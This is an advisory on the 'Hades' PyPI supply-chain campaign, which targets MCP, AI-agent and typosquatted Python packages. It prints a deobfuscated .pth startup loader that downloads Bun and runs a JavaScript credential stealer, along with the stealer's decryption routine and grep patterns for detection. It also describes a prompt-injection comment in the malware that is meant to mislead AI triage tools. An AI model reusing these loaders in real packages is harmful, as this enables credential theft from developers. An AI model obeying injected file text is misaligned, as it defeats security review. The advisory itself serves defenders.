critical

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-829, CWE-522

Affected Surface

Follow-on June 9 2026 Hades PyPI packages including openai-mcp, langchain-core-mcp, instructor-mcp, tiktoken-mcp, ray-mcp-server, rsquests, rlask, tlask, dreamgen, mem8, orchestr8-platform, and phenopacket-store-toolkit, Python developer workstations, AI-agent environments, notebooks, and CI runners that installed affected wheels, MCP and AI integration environments using openai-mcp, langchain-core-mcp, instructor-mcp, tiktoken-mcp, or ray-mcp-server, Any host exposing GitHub, cloud, SSH, registry, Docker, Kubernetes, Vault, or AI-tool credentials to the Python runtime

The new package-security development from 9 June is not simply “more Hades.” Public follow-on reporting shows the PyPI campaign pivoting from the earlier graph-ML and bioinformatics cluster into developer tooling that is much more likely to sit on general-purpose workstations, AI-agent sandboxes, and CI runners: MCP helpers, agent-adjacent libraries, and typo-squatted stand-ins for everyday Python packages.

That pivot changes the exposure profile. A poisoned scientific package may stay inside a niche research environment. A poisoned openai-mcp, langchain-core-mcp, instructor-mcp, tiktoken-mcp, ray-mcp-server, rsquests, or tlask package is aimed at broadly privileged developer environments that often hold GitHub tokens, cloud keys, SSH material, registry credentials, and AI-tool configuration.

Affected packages

Public 9 June follow-on reporting named these package-version pairs:

PackageMalicious version(s)
dreamgen1.8.1
instructor-mcp1.15.2, 1.15.3
langchain-core-mcp1.4.2, 1.4.3
mem86.0.1
openai-mcp2.41.1, 2.41.2
orchestr8-platform3.3.2
phenopacket-store-toolkit0.1.7
ray-mcp-server0.2.1
rlask3.1.7
rsquests2.34.3
tiktoken-mcp0.13.1, 0.13.2
tlask3.1.4

The package names reveal three target classes:

  • MCP and AI integration packages: openai-mcp, langchain-core-mcp, instructor-mcp, tiktoken-mcp, ray-mcp-server
  • Agent or platform-adjacent packages: dreamgen, mem8, orchestr8-platform
  • Low-friction typo lures: rsquests, rlask, tlask

phenopacket-store-toolkit is the bridge back to the earlier scientific wave. It suggests the operator did not abandon the research-tooling cluster; it widened the target set to reach both niche Python users and mainstream AI/developer workflows in the same campaign family.

Why this branch is distinct

The interesting part of the June 9 follow-on is not just the package list. Public reporting describes delivery branches tuned for defender blind spots:

  1. .pth startup hooks that execute during interpreter startup.
  2. A split-loader variant in langchain-core-mcp that searches the Python environment for _index.js instead of keeping loader and payload together.
  3. Native-extension execution where compiled *.abi3.so code becomes the trigger path.

That is a meaningful progression from the earlier “malicious package contains obvious loader file” model. The operator is actively designing around artifact review shortcuts.

Delivery mechanism 1: .pth startup execution

Dark Reading’s summary of Socket’s research describes malicious wheels that ship a *-setup.pth file. Python processes these at startup, and any line beginning with import is executable code, not inert metadata.

A representative deobfuscated flow looks like:

import os, subprocess, sys, tempfile, urllib.request

payload = None
for path in sys.path:
    candidate = os.path.join(path, "_index.js")
    if os.path.exists(candidate):
        payload = candidate
        break

bun_zip = os.path.join(tempfile.gettempdir(), "b.zip")
bun_bin = os.path.join(tempfile.gettempdir(), "b", "bun")

urllib.request.urlretrieve(
    "https://github.com/oven-sh/bun/releases/download/bun-v1.3.14/...",
    bun_zip,
)
subprocess.run(["unzip", "-q", "-d", os.path.dirname(bun_bin), bun_zip], check=False)
subprocess.run([bun_bin, "run", payload], env=dict(os.environ), check=False)

The important security property is that Python startup itself becomes the execution edge. You do not need to import the malicious package explicitly after installation.

Delivery mechanism 2: split staging in langchain-core-mcp

The langchain-core-mcp branch is technically more interesting. Public reporting says the wheel can install a .pth loader without shipping _index.js alongside it. Instead, the loader walks sys.path and one directory beneath each path entry to find the payload staged elsewhere.

That breaks simplistic detection logic such as:

flag wheels that contain both *.pth and _index.js

because the loader and the JavaScript stage do not have to live in the same wheel. For internal package review pipelines, this means:

wheel A: looks like a small startup hook only
wheel B or sibling path: contains _index.js
runtime: loader stitches them together at startup

The split-loader design is particularly relevant for MCP-focused environments because those often mix many small helper packages and dynamic plugin-style imports, making package-to-package staging harder to spot during casual review.

Delivery mechanism 3: native-extension import trigger

The follow-on reporting also describes a native-extension path where compiled *.abi3.so modules are the loader. In that case, source review of the Python package can look mostly harmless while the real trigger is hidden inside the wheel’s binary extension and executes as soon as Python loads it through dlopen().

The execution chain becomes:

python import
  -> dlopen(compromised .abi3.so)
  -> extension-side loader locates _index.js
  -> Bun runtime is downloaded or reused
  -> bun run _index.js
  -> credential theft, GitHub/API abuse, persistence

For AppSec teams, this is the PyPI equivalent of the registry-artifact-versus-source mismatch seen in recent npm compromises. Reviewing only repository source or sdists is no longer sufficient when the real behavior is embedded in the published wheel.

The second stage is still a Bun-executed JavaScript stealer

Even though the entry point is Python, the payload remains a JavaScript program executed under Bun. StepSecurity’s reverse engineering shows the bootstrapper decrypting gzip-compressed AES-GCM blobs at runtime:

function decryptBlob(hexKey, base64Ciphertext) {
  const key = Buffer.from(hexKey, "hex");
  const data = Buffer.from(base64Ciphertext, "base64");
  const iv = data.subarray(0, 12);
  const tag = data.subarray(12, 28);
  const cipher = data.subarray(28);
  const decipher = createDecipheriv("aes-256-gcm", key, iv);
  decipher.setAuthTag(tag);
  const plain = Buffer.concat([decipher.update(cipher), decipher.final()]);
  return new TextDecoder().decode(Bun.gunzipSync(plain));
}

That cross-runtime design matters operationally:

  • the package manager is PyPI, but the runtime behavior is JavaScript
  • defenders keyed only to python child-process trees may miss the Bun stage
  • static review of Python source alone does not explain the real payload

If your CI telemetry shows Python startup followed by a Bun download or bun run _index.js, assume compromise executed.

Hades now targets the environments AppSec teams actually care about

The June 9 package choices make the operator intent clearer than the June 8 scientific-only cluster. MCP and AI integration packages are likely to run where defenders keep:

  • GitHub tokens and GitHub CLI state
  • cloud credentials for AWS, Azure, or GCP
  • .pypirc, .npmrc, and other registry publishing material
  • SSH keys and Docker credentials
  • Cursor, Claude, VS Code, Codex, or MCP configuration files

StepSecurity also describes the Hades family scraping CI agent memory with Linux /proc/<pid>/mem, macOS mach_vm_read_overwrite(), and Windows ReadProcessMemory(). So the threat model is not limited to environment variables or plaintext config files. Secrets injected into a runner process can still be in scope once the malware executes.

The anti-analysis trick is relevant to AI security pipelines

One of the more novel details in public reporting is a large prompt-injection block placed inside _index.js. Bun skips the comment at runtime, but AI-assisted triage systems that ingest raw file text can be coerced into false-negative conclusions if they treat that text as instructions instead of untrusted input.

That is important for teams building automated package triage or using LLMs to summarize suspicious artifacts. The malware is now trying to shape the analyst pipeline, not just the victim runtime.

Detection and scoping

Search manifests, lockfiles, and image contents for the named follow-on packages:

rg -n \
  "dreamgen|instructor-mcp|langchain-core-mcp|mem8|openai-mcp|orchestr8-platform|phenopacket-store-toolkit|ray-mcp-server|rlask|rsquests|tiktoken-mcp|tlask" \
  requirements*.txt pyproject.toml poetry.lock uv.lock Pipfile.lock

Then inspect Python environments and wheel caches for the execution markers:

rg -n "_index\\.js|DontRevokeOrItGoesBoom|TheBeautifulSnadsOfTime|firedalazer|Hades - The End for the Damned" \
  .venv site-packages ~/.cache/pip

rg -n --glob "*.pth" "import .*_index|urllib\\.request|subprocess\\.run|bun" \
  .venv site-packages ~/.cache/pip

rg -n "\\.abi3\\.so|bun-v1\\.3\\.14|ReadProcessMemory|mach_vm_read_overwrite|/proc/.*/mem" \
  .venv site-packages ~/.cache/pip

For CI and developer workstations, also review:

unexpected Bun downloads during Python startup
GitHub API access tied to the listed Hades markers
unexpected public repositories with Hades-themed names
process-memory reads against Runner.Worker or other CI agent processes
new user-level systemd units, LaunchAgents, or updater scripts

Response guidance

Treat any installation of the listed versions as code execution on the installing or importing host.

  1. Isolate the affected workstation, notebook, or CI runner before rotating credentials.
  2. Preserve the virtual environment, wheel cache, and job logs for incident scoping.
  3. Rotate GitHub, cloud, SSH, registry, Docker, Vault, Kubernetes, and AI-tool secrets reachable from the host.
  4. Audit GitHub for suspicious workflow creation, package publication, branch manipulation, or public repository creation.
  5. Rebuild from clean images and lockfiles rather than trusting in-place cleanup.

Where a clean successor is already visible for this follow-on set, use at least:

  • phenopacket-store-toolkit >= 0.1.8

The bigger lesson is that the Hades family is no longer just infecting specialized Python niches. By 9 June 2026 it had a clear path into MCP developer tooling and typo-squatted everyday packages, using startup hooks, split staging, and wheel-binary triggers to move closer to the high-trust workstations and CI environments that application security teams are responsible for defending.

References